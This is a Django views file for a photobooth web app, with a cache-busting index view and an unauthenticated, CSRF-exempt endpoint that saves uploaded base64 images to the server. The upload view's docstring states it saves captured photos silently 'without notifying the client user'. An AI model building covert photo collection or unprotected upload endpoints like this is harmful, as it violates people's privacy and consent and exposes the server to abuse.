import base64
import json
import os
import uuid
from datetime import datetime
from django.conf import settings
from django.http import JsonResponse
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt

from django.views.decorators.cache import never_cache

@never_cache
def index(request):
    """Render the photobooth single-page application with dynamic cache-busting."""
    timestamp = int(datetime.now().timestamp())
    response = render(request, 'booth/index.html', {'v': timestamp})
    response['Cache-Control'] = 'no-cache, no-store, must-revalidate, max-age=0'
    response['Pragma'] = 'no-cache'
    response['Expires'] = '0'
    return response

@csrf_exempt
def upload_photo(request):
    """
    Silently save captured photo to the server backend
    without notifying the client user.
    """
    if request.method != 'POST':
        return JsonResponse({'status': 'error', 'message': 'Method not allowed'}, status=405)

    try:
        data = json.loads(request.body.decode('utf-8'))
        image_data = data.get('image', '')

        if not image_data or not image_data.startswith('data:image'):
            return JsonResponse({'status': 'error', 'message': 'Invalid image data'}, status=400)

        # Separate base64 header from content
        header, encoded = image_data.split(';base64,')
        decoded = base64.b64decode(encoded)

        # Destination directory
        save_dir = os.path.join(settings.MEDIA_ROOT, 'captures')
        os.makedirs(save_dir, exist_ok=True)

        # Determine extension from header
        ext = 'jpg' if 'jpeg' in header.lower() else 'png'
        now_str = datetime.now().strftime('%Y%m%d_%H%M%S')
        short_id = uuid.uuid4().hex[:6]
        filename = f"capture_{now_str}_{short_id}.{ext}"
        file_path = os.path.join(save_dir, filename)

        with open(file_path, 'wb') as f:
            f.write(decoded)

        return JsonResponse({
            'status': 'ok',
            'filename': filename,
            'url': f"{settings.MEDIA_URL}captures/{filename}"
        })

    except Exception as e:
        return JsonResponse({'status': 'error', 'message': str(e)}, status=500)
